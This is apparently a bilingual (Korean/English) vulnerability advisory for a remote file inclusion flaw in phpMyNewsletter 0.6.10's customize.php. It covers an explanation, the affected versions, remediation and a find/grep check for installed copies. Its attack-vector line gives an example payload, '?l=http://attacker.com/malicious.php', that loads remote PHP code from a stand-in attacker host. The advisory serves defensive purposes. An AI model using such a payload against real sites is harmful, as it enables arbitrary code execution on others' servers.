🇰🇷 한글 설명
phpMyNewsletter 0.6.10의 customize.php 파일에서 l 매개변수를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 원격 서버의 악성 PHP 파일을 포함시켜 임의의 PHP 코드를 실행할 수 있습니다. 이 취약점은 사용자 입력에 대한 검증이 부족하여 발생합니다.
💡 쉬운 설명
웹사이트의 특정 기능에서 외부 파일을 불러올 때 악의적인 파일을 주입해 나쁜 명령을 실행하는 공격입니다. 마치 누군가가 집 앞에서 위험한 상자를 열도록 강요하는 것과 같습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in customize.php for phpMyNewsletter 0.6.10 allows remote attackers to execute arbitrary PHP code via the l parameter.
📍 영향받는 시스템
phpMyNewsletter 버전 0.6.10 이하
⚔️ 공격 벡터
customize.php의 l 파라미터에 원격 PHP 파일 URL을 주입하여 코드 실행 (예: ?l=http://attacker.com/malicious.php)
🛡️ 대응 방법
phpMyNewsletter를 최신 버전으로 업그레이드하거나 사용자 입력 검증을 강화하여 로컬 경로만 허용하도록 수정
🔧 검증 코드
결과가 없으면 설치되지 않음, 결과가 있으면 설치 위치 확인 후 버전 확인 필요 (config.php 또는 README에서 버전 정보 조회)
find /var/www /home -name 'customize.php' -type f 2>/dev/null | xargs grep -l 'phpMyNewsletter' 2>/dev/null | head -1